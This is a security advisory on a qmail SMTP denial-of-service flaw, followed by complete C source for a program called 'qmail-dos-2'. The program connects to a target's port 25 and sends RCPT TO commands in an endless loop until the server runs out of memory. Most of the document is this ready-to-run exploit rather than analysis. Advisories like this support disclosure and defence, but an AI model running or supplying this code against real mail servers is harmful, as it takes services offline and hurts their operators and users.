92 lines
No EOL
2.8 KiB
C
92 lines
No EOL
2.8 KiB
C
// source: https://www.securityfocus.com/bid/2237/info
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qmail is an e-mail server package developed by Dan Bernstein.
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The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding.
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This behaviour is due to the dynamically allocated memory being exhausted.
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The condition occurs in situations where resource limits are not imposed on the server process.
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Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers.
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Once affected, a restart of the qmail smtp service is required in order to gain normal functionality.
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It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers.
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/*
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* qmail-dos-2 - run a qmail system out of swap space by feeding an infinite
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* amount of recipients.
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*
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* Usage: qmail-dos-2 fully-qualified-hostname
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*
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* Author: Wietse Venema. The author is not responsible for abuse of this
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* program. Use at your own risk.
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*/
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <netdb.h>
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#include <string.h>
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#include <stdarg.h>
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#include <errno.h>
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#include <stdio.h>
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void fatal(char *fmt,...)
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{
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va_list ap;
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va_start(ap, fmt);
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vfprintf(stderr, fmt, ap);
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va_end(ap);
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putc('\n', stderr);
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exit(1);
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}
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chat(FILE * fp, char *fmt,...)
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{
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char buf[BUFSIZ];
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va_list ap;
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fseek(fp, 0L, SEEK_SET);
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va_start(ap, fmt);
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vfprintf(fp, fmt, ap);
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va_end(ap);
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fputs("\r\n", fp);
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if (fflush(fp))
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fatal("connection lost");
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fseek(fp, 0L, SEEK_SET);
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if (fgets(buf, sizeof(buf), fp) == 0)
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fatal("connection lost");
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if (atoi(buf) / 100 != 2)
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fatal("%s", buf);
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}
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int main(int argc, char **argv)
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{
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struct sockaddr_in sin;
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struct hostent *hp;
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char buf[BUFSIZ];
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int sock;
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FILE *fp;
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if (argc != 2)
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fatal("usage: %s host", argv[0]);
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if ((hp = gethostbyname(argv[1])) == 0)
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fatal("host %s not found", argv[1]);
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memset((char *) &sin, 0, sizeof(sin));
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sin.sin_family = AF_INET;
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memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr));
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sin.sin_port = htons(25);
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if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
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fatal("socket: %s", strerror(errno));
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if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0)
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fatal("connect to %s: %s", argv[1], strerror(errno));
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if ((fp = fdopen(sock, "r+")) == 0)
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fatal("fdopen: %s", strerror(errno));
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if (fgets(buf, sizeof(buf), fp) == 0)
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fatal("connection lost");
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chat(fp, "mail from:<me@me>", fp);
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for (;;)
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chat(fp, "rcpt to:<me@%s>", argv[1]);
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} |